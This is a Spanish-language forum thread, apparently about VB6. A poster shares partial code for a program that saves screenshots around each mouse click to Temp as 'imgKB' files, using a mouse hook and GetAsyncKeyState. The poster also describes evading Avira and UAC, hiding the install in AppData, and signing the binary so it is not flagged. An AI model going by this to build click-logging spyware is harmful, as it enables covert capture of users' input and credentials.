Si, me pasaron un codigo parecido que por el envio de teclas interactuaba como si fuese el usuario, pero no es lo mismo Avira que UAC  , UAC al desactivar pide reiniciar el equipo para verificar. Igualmente ya da igual, hice la instalación del archivo en AppData.

Saludos!

Bueno estoy loquisimo con esto..    ya no se que mas probar y lo que estoy probando ahora me he quedado a medias.
Bajé el VistaUACMaker y agrega el manifest para ejecutar el programa como administrador, el problema es que todavia sigue saliendo el mensajito :



Estoy intentando agregarle una firma digital pero no encuentro el programa de la SDK llamado (SignTool), creo que si le agrego la firma no lo reconocerá como desconocido. Quería preguntar... no hay alguna otra manera por VB?..

Saludos! 

Tu opinión, y se respeta.. yo tampoco estoy de acuerdo con muchas cosas que haces tu y me callo
Por cierto... idea fundamental? es una parte del codigo y agradezco profundamente a Leando Ascierto, pero el modulo no es todo el programa.

jackl007 ツ  no se quien fue pero es un cobarde de ***** insultando anonimamente.. ya igual paso, al final voy a hacer lo que me salga del culo.. paso de mas problemas, que ya tengo muchos 'en la vida real'.

Claro, a los que me ayudaron porque no?.. y si son ustedes dos los que vais criticando anonimamente en mi blog, no sean mierdas y den la cara, no se que criticais.. que lo venda? no todo el mundo piensa igual, y si.. claro que me ayudo el modulo de LA igual que los comments de los demás, pero antes de hacer criticas las cosas se hablan, no como crios de *****.

PD : El modulo de Leandro es una parte del programa, el lo publico y es de libre uso.. porsupuestamente para aprender. Si ustedes estáis 'envidiosos' o tocados de moral apunten su meada hacia otro lado. Me da rabia que se discuta por una estupidez semejante.

jeje perdon, gracias por la info =)

Leandro, mis respetos, está buenisimo el modulo. Pero sabes alguna forma de que en las capturas se vea el mouse? o se marque algún cuadrado?

Saludos!

Impresionante los ejemplos, los veré detenidamente.

Gracias! =)

Bueno estuve viendo este ejemplo tambien : http://www.freevbcode.com/ShowCode.asp?ID=1449
Haber si voy bien :

Declaraciones :

Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Public Declare Function StretchBlt Lib "gdi32" (ByVal hDC As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Public Declare Function GetCursorPos Lib "user32" (lPointCoordinateoint As PointAPI) As Long
Public Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
 
Public Type PointAPI
  x As Long
  Y As Long
End Type
 

Cuando detecta el click llamo a la función :

Case 1: Call cWindow

La función me estoy liando un poco y no se si va bien, tendria que pasar la imagen del hdC al picture

Public Function cWindow()
 Num = Num + 1
 File = FreeFile
 lActiveWnd = GetDC(hForegroundWnd)
 GetCursorPos PointCoordinate
 StretchBlt frmMain.imGc.hDC, 2, 2, 124, 60, hForegroundWnd, PointCoordinate.x - 30, PointCoordinate.Y - 12.5, 100, 100, &HCC0020
 SavePicture frmMain.imGc.Picture, Environ("Temp") & "\imgKB" & Num & ".bmp"
End Function
 

Saludos!  

jackl007 ツ muy completa tu respuesta, enseguida lo pruebo! =)

Bueno quiero que cuando el raton haga click capture una imagen de su alrededor de 50x50, estoy intentando por ahora que al hacer click por lo menos capture y despues de varios intentos he llegado a la conclusion de que tengo que hacer hooks al raton, me puse a buscar ejemplos mas o menos del hook al raton pero no me sirvieron, la idea es por ahora que al hacer click capture la imagen de la ventana activa y ya luego el otro problema seria mostrando el puntero en la captura de 50x50

Esta sería la función que capturaría la ventana activa :

Public Function cWindow()
  Num = Num + 1
  keybd_event 44, 0, 0&, 0&
  DoEvents
  If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), sIM & Num & ".bmp"
End Function
 

Y lo que intento hacer es ahora con las siguientes declaraciones, es saber cuando se hizo click y llamar a la otra función :

Public Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
 
Public Const WH_MOUSE As Long = 7
 

Saludos!